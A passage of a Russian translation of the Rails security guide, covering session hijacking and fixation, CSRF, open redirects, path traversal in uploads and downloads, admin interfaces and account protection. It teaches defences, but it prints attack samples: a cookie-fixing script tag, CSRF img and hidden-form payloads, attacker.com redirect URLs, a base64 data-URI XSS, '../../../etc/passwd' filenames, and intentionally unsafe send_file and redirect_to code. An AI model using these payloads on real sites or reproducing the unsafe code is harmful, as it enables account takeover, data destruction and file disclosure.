Безопасность приложений на Rails

Это руководство описывает общие проблемы безопасности в приложениях веб, и как избежать их с помощью Rails.

После прочтения этого руководства, вы узнаете:

  • Обо всех контрмерах, которые выделены в тексте.
  • Концепцию сессий в Rails, что в них вкладывать, и популярные методы атак.
  • Как простое посещение сайта может быть проблемой безопасности (про межсайтовую подделку запроса, CSRF).
  • На что следует обратить внимание при работе с файлами или предоставлении административного интерфейса.
  • Как управлять пользователями: вход и выход, и методы атак на всех уровнях.
  • И наиболее популярные методы атаки инъекцией.

1. Введение

Фреймворки веб-приложений сделаны для помощи разработчикам в создании веб-приложений. Некоторые из них также помогают с безопасностью веб-приложения. Фактически, один фреймворк не безопаснее другого: если использовать их правильно, возможно создавать безопасные приложения на разных фреймворках. Ruby on Rails имеет некоторые умные методы хелпера, например против инъекций SQL, поэтому вряд ли это будет проблемой.

В основном здесь нет такого, как plug-n-play безопасность. Безопасность зависит от людей, использующих фреймворк, и иногда от метода разработки. И зависит от всех уровней среды веб-приложения: внутреннего хранения данных, веб-сервера и самого веб-приложения (и, возможно, других уровней приложений).

Однако, The Gartner Group оценила, что 75% атак происходят на уровне веб-приложения, и обнаружила, что из 300 проверенных сайтов, 97% уязвимы к атакам. Это потому, что веб-приложения относительно просто атаковать, так как они просты для понимания и воздействия, даже простым человеком.

Угрозы против веб-приложений включают угон пользовательского аккаунта, обход контроля доступа, чтение или модифицирование чувствительных данных или представление мошеннического содержимого. Или атакующий может получить возможность установки программы-трояна или программы отправки нежелательных e-mail с целью финансовой выгоды, или нанесения вреда брэнду, с помощью модифицирования ресурсов компании. Для предотвращения атак, сведения к минимуму их последствий и удаления уязвимых мест прежде всего необходимо полное понимание методов атак, чтобы найти правильные контрмеры. Это то, на что направлено это руководство.

Для разработки безопасных веб-приложений вы должны быть в курсе всех уровней безопасности и знать своих врагов. Чтобы быть в курсе, подпишитесь на рассылку по безопасности, читайте блоги по безопасности, регулярно осуществляйте обновления и производите проверки безопасности (смотрите раздел Дополнительные источники). Делайте это вручную, поскольку так вы можете найти неприятные проблемы безопасности на уровне логики.

2. Сессии

Эта глава описывает несколько конкретных атак, относящихся к сессиям, и меры безопасности для защиты ваших данных сессии.

2.1. Что такое сессии?

Сессии позволяют приложению поддерживать пользовательское состояние, пока пользователи взаимодействуют с приложением. Например, сессии позволяют пользователю быть аутентифицированным единожды и оставаться таким во всех будущих запросах.

Большинству приложений необходимо отслеживать состояние пользователей, взаимодействующих с приложением. Это может быть содержимым корзины товаров или id залогиненного пользователя. Такой тип пользовательского состояния может быть сохранен в сессии.

Rails предоставляет объект сессии для каждого пользователя, обращающегося к приложению. Если у пользователя уже есть активная сессия, Rails использует существующую сессию. В противном случае будет создана новая сессия.

Подробнее о сессиях и как их использовать читайте в Обзорном руководстве по Action Controller.

2.2. Угон сессии

Воровство ID пользовательской сессии позволяет злоумышленнику использовать веб-приложение от лица жертвы.

Многие веб-приложения имеют такую систему аутентификации: пользователь предоставляет имя пользователя и пароль, веб-приложение проверяет их и хранит id соответствующего пользователя в хэше сессии. С этого момента сессия валидна. При каждом запросе приложение загрузит пользователя, определенного по user id в сессии, без необходимости новой аутентификации. ID сессии в куки идентифицирует сессию.

Таким образом, куки служит как временная аутентификация для веб-приложения. Любой, кто воспользовался куки от кого-то другого, может пользоваться веб-приложением, как этот пользователь – с возможными серьезными последствиями. Вот несколько способов для угона сессии и контрмеры этому:

  • Перехват куки в незащищенной сети. Беспроводная LAN может быть примером такой сети. В незашифрованной беспроводной LAN очень легко прослушивать трафик всех присоединенных клиентов. Для создателя веб-приложений это означает, что необходимо предоставить безопасное соединение через SSL. В Rails 3.1 и позже это может быть выполнено с помощью принуждения к соединению SSL в файле конфигурации приложения:
config.force_ssl = true
  • Многие не очищают куки поле работы на публичном терминале. Поэтому, если предыдущий пользователь не вышел из веб-приложения, вы сможете его использовать как этот пользователь. Обеспечьте пользователя кнопкой выхода в веб-приложении, и сделайте ее заметной.
  • Часто межсайтовый скриптинг (XSS, cross-site scripting) ставит целью получение куки пользователя. Подробнее о XSS вы прочитаете позже.
  • Вместо похищения неизвестных злоумышленнику куки, он изменяет идентификатор сессии пользователя (в куки) на известный ему. Об этих так называемых фиксациях сессии вы прочитаете позже.

Основная цель большинства злоумышленников это сделать деньги. Подпольные цены за краденную банковскую учетную запись варьируются в пределах 0.5%-10% от баланса на аккаунте, $0.5-$30 за номер кредитной карточки ($20-$60 с полной информацией), $0.1-$1.5 для идентификаторов (имя, SSN и дата рождения), $20-$50 для аккаунтов продавцов и $6-$10 для аккаунтов поставщиков облачных услуг, в соответствии с Symantec Internet Security Threat Report (2017).

2.3. Хранение сессии

Rails использует ActionDispatch::Session::CookieStore в качестве хранилища сессии по умолчанию.

Узнайте подробности о других хранилищах сессии в Обзорном руководстве по Action Controller.

CookieStore Rails сохраняет хэш сессии в куки на стороне клиента. Сервер получает хэш сессии из куки и устраняется необходимость в ID сессии. Это значительно увеличивает скорость приложения, но является спорным вариантом хранения, и нужно думать об условиях безопасности и ограничения хранения этого:

  • У куки лимит размера 4 kB. Используйте куки только для данных, относящихся к сессии.

  • Куки хранятся на стороне клиента. Клиент может сохранить содержимое куки даже для устаревших куки. Клиент может скопировать куки на другие машины. Избегайте хранения чувствительных данных в куки.

  • Куки временные по природе. Сервер может установить срок устаревания для куки, но клиент может удалить куки и его содержимое до этого. Сохраняйте данные, которые более постоянные по природе, на стороне сервера.

  • Куки сессий не делают себя недействительными и могут быть злонамеренно использованы повторно. Было бы целесообразно, чтобы приложение делало недействительными старые куки сессий, используя сохраненную метку времени.

  • Rails шифрует куки по умолчанию. Клиент не может прочитать или отредактировать содержимое куки без нарушения шифрования. Если вы основательно позаботились о своих секретных ключах, можете рассматривать куки как в целом безопасными.

CookieStore использует зашифрованные куки, чтобы предоставить безопасное, зашифрованное место расположения для хранения данных сессии. Таким образом, сессии на основе куки обеспечивают как целостность, так и конфиденциальность их содержимого. Ключ шифрования, а также ключ верификации, используемый для подписанных куки, получены из конфигурационного значения secret_key_base.

Секретные ключи должны быть длинными и случайными. Используйте bin/rails secret для получения новых уникальных секретных ключей.

Также важно использовать различные значения соли для зашифрованных и подписанных куки. Использование одного и того же значения для разных конфигурационных значений соли может привести к тому, что один и тот же производный ключ будет использоваться для разных функций безопасности, из-за чего, в свою очередь, может быть ослаблена сила ключа.

В test и development средах приложения получают secret_key_base из имени приложения. В других средах должен использоваться случайный ключ, присутствующий в config/credentials.yml.enc, показанный здесь в дешифрованном состоянии:

secret_key_base: 492f...

Если секретные ключи вашего приложения могли быть скомпрометированы, настоятельно рекомендуется изменить секретный ключ. Изменение secret_key_base прекратит текущие активные сессии.

2.4. Ротация зашифрованных и подписанных конфигураций куки

Ротация идеально подходит для изменения конфигураций куки и обеспечения того, что старые куки не сразу стали недействительны. Затем пользователи имеют возможность посетить сайт, прочитать свои куки со старой конфигурацией и переписать их с учетом новых изменений. После этого ротацию можно удалить, когда посчитаете нужным, например, если большинство пользователей должны были уже использовать шанс апгрейднуть свои куки.

Также возможно производить ротацию алгоритмов шифрования и дайджестов, используемых для зашифрованных и подписанных куки.

Например, чтобы изменить дайджест, используемый для подписанных куки с SHA1 на SHA256, необходимо сперва назначить новое конфигурационное значение:

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

Теперь добавьте ротацию для старого дайджеста SHA1, чтобы существующие куки были бесшовно апгрейднуты до нового дайджеста SHA256.

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

Затем любые переписываемые подписанные куки будут обработаны с помощью SHA256. Старые куки, которые были переписаны с помощью SHA1, все еще могут быть прочитаны, и те, что являются доступными будут переписаны с помощью нового дайджеста, чтобы они были апгрейднуты и не считались недействительными при удалении ротации.

После того, как пользователи с подписанными куки с помощью SHA1 больше не смогут переписывать свои куки, удалите последние.

Хотя можно установить столько ротаций, сколько необходимо для того, чтобы не было много ротаций в любой момент времени.

Для получения дополнительной информации о ротации ключа с зашифрованными и подписанными сообщениями, а также о различных опциях, которые принимает метод rotate, обратитесь, пожалуйста, к документации по MessageEncryptor API и MessageVerifier API.

2.5. Атаки повторного воспроизведения для сессий CookieStore

Другой тип атак, которого следует опасаться при использовании CookieStore, это атака повторного воспроизведения (replay attack).

Она работает подобным образом:

  • Пользователь получает кредит, сумма сохраняется в сессию (что является плохой идеей в любом случае, но мы воспользуемся этим для целей демонстрации).
  • Пользователь покупает что-либо.
  • Новая изменившаяся сумма кредита сохраняется в сессии.
  • Пользователь берет куки с первого шага (которые он предварительно скопировал) и заменяет текущие куки в браузере.
  • Пользователь получил свой первоначальный кредит назад.

Включение поля nonce (случайное значение) в сессию решает проблему атак повторного воспроизведения. Поле nonce валидно только один раз, и сервер должен отслеживать все валидные nonce. Такое становится еще более сложным, если у вас несколько серверов приложений. Хранение nonce в таблице базы данных аннулирует основную цель CookieStore (избежание доступа к базе данных).

Лучшее решение против атак - это хранить данные такого рода не в сессии, а в базе данных. В нашем случае храните величину кредита в базе данных, а logged_in_user_id в сессии.

2.6. Фиксации сессии

Кроме кражи ID сессии пользователя, злоумышленник может исправить ID сессии на известный ему. Это называется фиксацией сессии.

Фиксация сессии

Эта атака сосредоточена на ID сессии пользователя, известному злоумышленнику, и принуждению браузера пользователя использовать этот ID. После этого злоумышленнику не нужно воровать ID сессии. Вот как эта атака работает:

  • Злоумышленник создает валидный ID сессии: он загружает страницу авторизации веб-приложения, где он хочет исправить сессию, и принимает id сессии в куки из отклика (смотрите номера 1 и 2 на изображении).
  • Он поддерживает сессию, периодически обращаясь к приложению, чтобы сохранить сессию действующей.
  • Злоумышленник принуждает браузер пользователя использовать этот ID сессии (смотрите номер 3 на изображении). Поскольку нельзя изменить куки другого домена (из-за политики общего происхождения), злоумышленник должен запустить JavaScript из домена целевого веб-приложения. Инъекция кода JavaScript в приложение с помощью XSS завершает эту атаку. Вот пример: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>. Про XSS и инъекции будет написано позже.
  • Злоумышленник заманивает жертву на зараженную страницу с кодом JavaScript. Просмотрев эту страницу, браузер жертвы изменит ID сессии на ID сессии-ловушки.
  • Так как новая сессия-ловушка не использовалась, веб-приложение затребует аутентификации пользователя.
  • С этого момента жертва и злоумышленник будут совместно использовать веб-приложение с одинаковой сессией: сессия станет валидной и жертва не будет уведомлена об атаке.

2.7. Фиксации сессии - контрмеры

Одна строчка кода защитит вас от фиксации сессии.

Наиболее эффективная контрмера - это создавать новый идентификатор сессии и объявлять старый невалидным после успешного входа. Тогда злоумышленник не сможет использовать подмененный идентификатор сессии. Это также хорошая контрмера против угона сессии. Вот как создать новую сессию в Rails:

reset_session

Если используете популярный гем Devise для управления пользователями, он автоматически оканчивает сессии при входе и выходе. Если вы пишете управление пользователями сами, не забудьте окончить сессию после экшна входа (когда создается сессия). Это удалит любые значения из сессии, поэтому необходимо передать их в новую сессию.

Другой контрмерой является сохранение специфичных для пользователя свойств в сессии, проверка их каждый раз с входящим запросом и запрет доступа, если информация не соответствует. Такими свойствами могут быть удаленный адрес IP или агент пользователя (имя веб-браузера), хотя последний менее специфичен. При сохранении адреса IP вы должны понимать, что имеется большое количество интернет провайдеров или больших организаций, размещающих своих пользователей за прокси. Адрес может меняться в течении сессии, поэтому такие пользователи не смогут использовать ваше приложение, либо только с ограничениями.

2.8. Окончание сессии

Сессии, которые не имеют время жизни, растягивают временной период для атак, таких как межсайтовая подделка запроса (CSRF), угон сессии и фиксация сессии.

Один из способов - это установить временную метку окончания куки с ID сессии. Однако клиент может редактировать куки, хранящиеся в веб-браузере, поэтому сессии со сроком действия безопаснее хранить на сервере. Вот пример как окончить сессии в таблице базы данных. Вызовите Session.sweep(20.minutes) чтобы окончить сессии, которые использовались более 20 минут назад.

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where("updated_at < ?", time.ago.to_fs(:db)).delete_all
  end
end

Раздел о фиксации сессии представил проблему поддержки сессий. Злоумышленник, поддерживающий сессию каждые пять минут, будет поддерживать срок жизни сессии вечно, хотя у сессии и есть срок действия. Простым решением для этого может быть добавление столбца created_at в таблицу sessions. Теперь можете удалять сессии, которые были созданы очень давно. Используйте эту строчку в вышеупомянутом методе sweep:

where("updated_at < ? OR created_at < ?", time.ago.to_fs(:db), 2.days.ago.to_fs(:db)).delete_all

3. Межсайтовая подделка запроса (CSRF, Cross-Site Request Forgery)

Этот метод атаки работает через включение вредоносного кода или ссылки на страницу, которая обращается к веб-приложению, на котором предполагается, что пользователь аутентифицирован. Если сессия для того веб-приложения не истекла, злоумышленник сможет выполнить несанкционированные команды.

Межсайтовая подделка запроса

В главе про сессии мы узнали, что большинство приложений на Rails используют сессии, основанные на куки. Либо они хранят ID сессии в куки и имеют хэш сессии на сервере, либо весь хэш сессии на клиенте. В любом случае, браузер автоматически пошлет куки с каждым запросом к домену, если он найдет куки для этого домена. Спорный момент в том, что он также пошлет куки, если запрос идет с сайта другого домена. Давайте рассмотрим пример:

  • Bob просматривает доску объявлений и смотрит публикацию от хакера, в которой имеется созданный HTML элемент изображения. Элемент ссылается на команду в приложении Bob-а по управлению проектами, а не на файл изображения: <img src="http://www.webapp.com/project/1/destroy">
  • Сессия Bob-а на www.webapp.com все еще действующая, так как он работал с сайтом несколько минут назад.
  • Просматривая публикацию, браузер находит тег изображения. Он пытается загрузить предполагаемое изображение с сайта www.webapp.com. Как уже объяснялось, он также посылает куки с валидным ID сессии.
  • Веб-приложение www.webapp.com подтверждает информацию о пользователе в соответствующей сессии и уничтожает проект с ID 1. Затем он возвращает итоговую страницу, которая не является ожидаемым результатом для браузера, поэтому он не отображает изображение.
  • Bob не уведомляется об атаке - но несколько дней спустя он обнаруживает, что проекта номер один больше нет.

Важно отметить, что фактически создаваемое изображение или ссылка не обязательно должны быть расположены в домене веб-приложения, они могут быть где угодно – на форуме, в публикации блога или в email.

CSRF очень редко появляется среди CVE (распространённых уязвимостей и опасностей) - менее 0.1% в 2006 - но на самом деле это "спящий гигант". Это значительно контрастирует с результатами множества работ по безопасности - CSRF является важным вопросом безопасности.

3.1. Контрмеры CSRF

Во-первых, как это требуется W3C, используйте надлежащим образом GET и POST. Во-вторых, токен безопасности в не-GET-запросах защитит ваше приложение от CSRF.

Протокол HTTP, по существу, представляет два основных типа запросов - GET и POST (DELETE, PUT и PATCH должны использоваться как POST). Консорциум Всемирной паутины (W3C) предоставляет контрольный список для выбора между HTTP методами GET или POST:

Используйте GET, если:

  • Взаимодействие более похоже на вопрос (например, это безопасная операция, такая как запрос, операция чтения или поиска).

Используйте POST, если:

  • Взаимодействие более похоже на распоряжение, или
  • Взаимодействие изменяет состояние ресурса способом, который пользователь будет осознавать (например, подписка на сервис), или
  • Пользователь несет ответственность за результат взаимодействия.

Если Ваше приложение является RESTful, можете использовать дополнительные методы HTTP, такие как PATCH, PUT или DELETE. Некоторые устаревшие веб-браузеры, однако, не поддерживают их - только GET и POST. Rails использует скрытое поле _method для обработки этих случаев.

Запросы POST также могут быть посланы автоматически. В этом примере, ссылка www.harmless.com показывается как назначение в строке состояния браузера. Но фактически она динамически создает новую форму, посылающую запрос POST.

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

Или злоумышленник поместит код в обработчик события onmouseover изображения:

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

Имеется множество других возможностей, наподобие использования тега <script> для осуществления межсайтового запроса к URL с откликом JSONP или JavaScript. Откликом является исполняемый код, для которого злоумышленник может найти способ запуска, возможно с извлечением чувствительных данных. Для защиты от утечки этих данных мы должны запрещать межсайтовые теги <script>. Однако, запросы Ajax подчиняются доменной политике браузера (только вашему сайту разрешено инициировать XmlHttpRequest), поэтому мы можем безопасно разрешить им возвращать отклики JavaScript.

Мы не можем отличить домен тега <script> - был ли это тег на вашем сайте или на сайте злоумышленника - поэтому мы должны блокировать <script> всегда и везде, даже если это фактически безопасный скрипт, отданный с вашего сайта на вашем домене. В таких случаях, явно отменяйте защиту CSRF на экшнах, обслуживающих JavaScript, в том числе от тега <script>.

Для защиты от остальных подделанных запросов, мы представляем обязательный токен безопасности, который знает ваш сайт, но не знают остальные. Мы включаем токен безопасности в запросы и проверяем его на сервере. Это выполняется автоматически, когда config.action_controller.default_protect_from_forgery установлена true, что является значением по умолчанию для новых приложений на Rails. Также это можно сделать вручную, добавив следующее в контроллер приложения:

protect_from_forgery with: :exception

Это включит токен безопасности во все формы и запросы Ajax, генерируемые Rails. Если токен безопасности не будет соответствовать ожидаемому, будет вызвано исключение.

По умолчанию, Rails включает ненавязчивый скриптовый адаптер, который добавляет заголовок, называемый X-CSRF-Token с токеном безопасности, в каждый не-GET Ajax-запрос. Без этого заголовка не-GET Ajax-запросы не будут приняты Rails. При использовании другой библиотеки для Ajax-запросов, необходимо добавить токен безопасности как заголовок по умолчанию в Ajax-запросах в вашей библиотеке. Для получения токена, посмотрите на тег <meta name='csrf-token' content='THE-TOKEN'>, получаемый с помощью <%= csrf_meta_tags %> во вью вашего приложения.

Является обычной практикой использование персистентных куки для хранения пользовательской информации, к примеру с помощью cookies.permanent. В этом случае куки не будут очищены и встроенная защита от CSRF не будет эффективна. Если для этой информации вы используете хранилище куки иное, чем сессия, то должны указать, что делать, самостоятельно:

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # Метод для примера, уничтожающий куки пользователя
end

Вышеуказанный метод должен быть помещен в ApplicationController и вызываться, когда отсутствует или неправильный токен CSRF для не-GET-запроса.

Отметьте, что уязвимости межсайтового скриптинга (XSS) обходят все защиты от CSRF. XSS дает злоумышленнику доступ ко всем элементам на странице, поэтому он может прочитать токен безопасности CSRF из формы или непосредственно подтвердить форму. Читайте более подробно о XSS позже.

4. Перенаправление и файлы

Другой класс уязвимостей в безопасности связан с использованием перенаправления и файлов в веб-приложениях.

4.1. Перенаправление

Перенаправление в веб-приложении - это недооцененный инструмент взломщика: на сайт-ловушку может направить пользователя не только злоумышленник, но и сам пользователь.

Всякий раз когда пользователь допускается к передаче (всего или части) URL для перенаправления, это является возможной уязвимостью. Наиболее банальной атакой может быть перенаправление пользователей на фальшивое веб-приложение, которое выглядит и работает как настоящее. Эта так называемая фишинговая атака работает через посланную не вызывающую подозрения ссылку в email для пользователей, вставленную в приложение ссылку с помощью XSS или ссылку, помещенную на внешнем сайте. Она не вызывает подозрений, так как ссылка начинается с URL к веб-приложению, а URL к злонамеренному сайту скрыт в параметре перенаправления: http://www.example.com/site/redirect?to=www.attacker.com. Вот пример экшна legacy:

def legacy
  redirect_to(params.update(action:'main'))
end

Он перенаправит пользователя на экшн main, если тот попытается получить доступ к экшну legacy. Намерением было сохранить параметры URL к экшну legacy и передать их экшну main. Однако это может быть использовано злоумышленником, если он включит ключ host в URL:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

Этот URL в конце вряд ли будет замечен и перенаправит пользователя на хост attacker.com. Как правило, передача пользовательских данных непосредственно в redirect_to рассматривается опасной. Простой контрмерой будет являться включение только ожидаемых параметров в экшн legacy (снова подход списка разрешений, в отличие от устранения нежелательных параметров). И если вы перенаправляете на URL, сверьтесь со списком разрешений или регулярным выражением.

4.1.1. Самодостаточный XSS

Другая перенаправляющая и самодостаточная XSS атака работает в Firefox и Opera с использованием протокола данных. Этот протокол отображает свое содержимое прямо в браузер и может быть чем угодно от HTML или JavaScript до простых изображений:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

Этот пример является закодированным Base64 JavaScript, который отображает простое окно сообщения. В перенаправляющем URL злоумышленник может перенаправить на этот URL с помощью злонамеренного кода в нем. В качестве контрмеры не позволяйте пользователю предоставлять (полностью или частично) URL, на который нужно перенаправить.

4.2. Загрузки файла

Убедитесь, что загрузки файлов не перезапишут важные файлы и обрабатывают медиафайлы асинхронно.

Многие веб-приложения позволяют пользователям загружать файлы. Имена файла, которые пользователи могут выбирать (частично), всегда должны фильтроваться, так как злоумышленник может использовать злонамеренное имя файла для перезаписи любого файла на сервере. Если загруженные файлы хранятся в /var/www/uploads, и пользователь введет имя файла такое как "../../../etc/passwd", это сможет перезаписать важный файл. Конечно, интерпретатору Ruby будут требоваться необходимые права доступа, чтобы сделать это – еще одна причина запускать веб-серверы, серверы базы данных и другие программы под наименее привилегированным пользователем Unix.

Когда фильтруете имена файлов, введенных пользователем, не пытайтесь убрать злонамеренные части. Подумайте о ситуации, когда веб-приложение убирает все "../" в имени файла, и злоумышленник использует строку, такую как “....//”, результатом будет "../". Лучше использовать подход разрешенного списка, который проверяет на валидность имя файла с помощью набора приемлемых символов. Это противопоставляется подходу списка ограничений, который пытается убрать недопустимые символы. В случае невалидного имени файла отвергните его (или замените неприемлемые символы), но не убирайте их. Вот санитайзер имени файла из плагина attachment_fu:

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub! /\A.*(\\|\/)/, ''
    # Finally, replace all non alphanumeric, underscore
    # or periods with underscore
    name.gsub! /[^\w\.\-]/, '_'
  end
end

Значительный недостаток синхронной обработки загрузок файла (что плагин attachment_fu может сделать с изображениями), это его уязвимость к DoS-атакам. Злоумышленник может синхронно начать загрузки файла изображения с многих компьютеров, которые увеличат загрузку сервера и могут в конечном счете свалить или затормозить сервер.

Лучшее решение этого состоит в асинхронной обработке медиафайлов: сохраните медиафайл и расписание обработки запроса в базу данных. Второй процесс будет заниматься обработкой файла в фоновом режиме.

4.3. Исполняемый код в загрузках файла

Исходный код в загруженных файлах может быть выполнен при помещении в определенные директории. Не помещайте загрузки файла в директорию /public приложения Rails, если это домашняя директория Apache.

Популярный веб-сервер Apache имеет опцию, называемую DocumentRoot. Это домашняя директория веб-сайта, все в дереве этой директории будет обслуживаться веб-сервером. Если там имеются файлы с определенным расширением имени, код в в них будет выполнен при запросе (может требоваться установка некоторых опций). Примерами этого являются файлы PHP и CGI. Теперь представьте ситуацию, когда злоумышленник загружает файл “file.cgi” с кодом, который будет выполнен, когда кто-то скачивает файл.

Если Apache DocumentRoot указывает на директорию /public приложения Rails, не помещайте загрузки файла в него, храните файлы как минимум на один уровень выше.

4.4. Скачивания файла

Убедитесь, что пользователи не могут скачивать произвольные файлы.

Так же как вы фильтруете имена файла для загрузки, следует делать то же самое для скачивания. Метод send_file() посылает файлы от сервера на клиент. Если использовать имя файла, введенного пользователем, без фильтрации, может быть скачан любой файл:

send_file('/var/www/uploads/' + params[:filename])

Просто передайте имя файла такое, как "../../../etc/passwd", чтобы загрузить информацию о доступе к серверу. Простым решением против этого является проверка того, что запрашиваемый файл находится в ожидаемой директории:

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
     File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

Другой (дополнительный) подход заключается в хранении имен файлов в базе данных и именовании файлов на диске по id в базе данных. Это также хороший подход для избежания возможного кода в загруженных файлах, который может быть выполнен. Плагин attachment_fu осуществляет это похожим образом.

5. Интранет и безопасность администратора

Интранет и административные интерфейсы являются популярной целью для атак, поскольку они предоставляют привилегированный доступ. Хотя это и может потребовать несколько дополнительных мер безопасности, таковы реалии современного мира.

В 2007 году зарегистрирован первый специально изготовленный троян, похищающий информацию из Интранета, названный "Monster for employers" по имени веб-сайта Monster.com, онлайн приложения по найму работников. Специально изготовленные трояны очень редки, поэтому риск достаточно низок, но, конечно, возможен, и пример показывает, что безопасность хоста клиента тоже важна. Однако, наибольшей угрозой для Интранета и администраторских приложений являются XSS и CSRF.

XSS: Если ваше приложение повторно отображает введенные пользователем вредоносные данные, приложение уязвимо к XSS. Имена пользователей, комментарии, отчеты о спаме, адреса заказов - это всего лишь обычные примеры, где может быть XSS.

Если есть всего лишь одно место в админке или Интранете, где ввод не был обработан, это делает целое приложение уязвимым. Возможными результатами могут быть похищение привилегированных администраторских куки, встраивание iframe для похищения администраторского пароля или установка злонамеренного программного обеспечения через дыры в безопасности браузера для установления контроля над компьютером администратора.

Обратитесь к разделу про инъекции для контрмер против XSS.

CSRF: Межсайтовая подделка запроса (CSRF), также известная как межсайтовая подделка ссылок (XSRF), - это гигантский метод атаки, он позволяет злоумышленнику делать все то, что может делать администратор или пользователь Интранета. Так как мы уже раньше рассматривали как работает CSRF, вот несколько примеров того, как злоумышленники могут обращаться с Интранетом или административным интерфейсом.

Реальным примером является перенастройка роутера с помощью CSRF. Злоумышленники разослали зловредные электронные письма с вложенным CSRF мексиканским пользователям. Письма утверждали, что пользователя ждет пластиковая карточка, но они также содержали тег изображения, который приводил к запросу HTTP-GET на перенастройку роутера пользователя (наиболее популярной модели в Мексике). Запрос изменял настройки DNS таким образом, что запросы к мексиканскому банковскому сайту направлялись на сайт злоумышленников. Все, кто обращался к банковскому сайту через роутер, видели фальшивый сайт злоумышленников, и у них были похищены учетные данные.

Другой пример изменял адрес почты и пароль Google Adsense. Если жертва входила в Google Adsense, административный интерфейс рекламных компаний Google, злоумышленник изменял ее учетные данные.

Другой популярной атакой является спам от вашего веб-приложения, вашего блога или форума для распространения зловредного XSS. Конечно, злоумышленник должен знать структуру URL, но большинство URL Rails достаточно просты или они могут быть легко найдены, если это административный интерфейс приложения с открытым кодом. Злоумышленник даже может сделать 1,000 попыток, просто включив злонамеренный тег IMG, который пытается использовать каждую возможную комбинацию.

По контрмерам против CSRF в административных интерфейсах и приложениях Интранет, обратитесь к разделу по CSRF.

5.1. Дополнительные меры предосторожности

Обычный административный интерфейс работает подобно следующему: расположен в www.example.com/admin, может быть доступным, только если настроен признак администратора в модели User, отображает данные, введенные пользователем, и позволяет админу удалять/добавлять/редактировать любую желаемую информацию. Вот некоторые мысли обо всем этом:

  • Очень важно думать о худшем случае: что если кто-то в самом деле достанет ваши куки или пользовательские учетные данные? Вы должны ввести роли для административного интерфейса, чтобы ограничить возможности злоумышленника. Или как насчет специальных учетных данных авторизации для административного интерфейса, отличающихся от тех, которые используются в публичной части приложения? Или специального пароля для очень серьезных действий?

  • Действительно ли админ должен иметь доступ к интерфейсу из любой точки мира? Подумайте насчет ограничения авторизации списком IP-адресов. Проверьте request.remote_ip для того, чтобы узнать об IP-адресах пользователя. Это не абсолютная, но серьезная защита. Хотя помните, что могут использоваться прокси.

  • Поместите административный интерфейс в специальный поддомен, такой как admin.application.com, и сделайте его отдельным приложением со своим собственным управлением пользователями. Это сделает похищение куки админа из обычного домена www.application.com невозможным. Это происходит благодаря правилу ограничения домена вашего браузера: встроенный (XSS) скрипт на www.application.com не сможет прочитать куки для admin.application.com и наоборот.

6. Управление пользователями

Почти каждое веб-приложение работает с авторизацией и аутентификацией. Вместо написания собственных, целесообразно использование внешних плагинов. Но их нужно также обновлять. Несколько дополнительных мер предосторожности сделают ваше приложение более безопасным.

Для Rails имеется ряд плагинов для аутентификации. Хорошие, такие как популярные devise и authlogic, сохраняют только криптографически хэшированные пароли, а не чистый текст. Начиная с Rails 3.1 можно использовать встроенный метод has_secure_password, поддерживающий механизмы шифрования пароля, подтверждения и восстановления.

6.1. Брутфорс аккаунтов

Брутфорс-атаки на аккаунты - это атаки методом проб и ошибок на учетные данные для входа. Отбиться от них можно с помощью обычных сообщений об ошибке и, возможно, требования ввести CAPTCHA.

Перечень имен пользователей вашего веб-приложения может быть использован для брутфорса соответствующих паролей, поскольку большинство людей не используют сложные пароли. Большинство паролей - это комбинация слов из словаря и, возможно, цифр. Таким образом, вооруженная перечнем пользователей и словарем, автоматическая программа может подобрать правильный пароль за считанные минуты.

Поэтому большинство приложений отображают общее сообщение об ошибке "неправильное имя пользователя или пароль", если даже одно из них неправильное. Если оно сообщит "имя пользователя, которое вы ввели, не найдено", злоумышленник сможет автоматически собрать перечень имен пользователя.

Однако часто разработчики веб-приложения пренебрегают страницами восстановления пароля. Эти страницы часто признают, что введенное имя пользователя или адрес e-mail (не) был найден. Это позволяет злоумышленнику собирать перечень имен пользователей и брутфорсить аккаунты.

В целях смягчения таких атак, отображайте общее сообщение об ошибке и на страницах восстановления пароля. Более того, можете требовать ввести CAPTCHA после нескольких проваленных попыток входа с одного адреса IP. Отметим, что это не пуленепробиваемая защита против автоматических программ, поскольку эти программы могут изменять свой адрес IP так часто, как нужно. Однако это будет барьером для атаки.

6.2. Угон аккаунта

Многие веб-приложения позволяют легко угнать пользовательские аккаунты. Почему бы не отличиться и не сделать это более трудным?

6.2.1. Пароли

Подумайте о ситуации, когда злоумышленник украл куки сессии пользователя и, таким образом, может совместно с ним использовать приложение. Если будет просто сменить пароль, злоумышленник угонит аккаунт в два клика. Или, если форма изменения пароля уязвима для CSRF, злоумышленник сможет изменить пароль жертвы, заманив его на веб-страницу, на которой содержится тег IMG, осуществляющий CSRF. Как контрмера - делайте формы изменения пароля безопасными против CSRF, естественно. И требуйте от пользователя ввести старый пароль при его изменении.

6.2.2. E-Mail

Однако злоумышленник может также получить контроль над аккаунтом, изменив адрес e-mail. После его изменения, он пойдет на страницу восстановления пароля и (возможно новый) пароль будет выслан на адрес e-mail злоумышленника. В качестве контрмеры также требуйте от пользователя вводить пароль при изменении адреса e-mail.

6.2.3. Другое

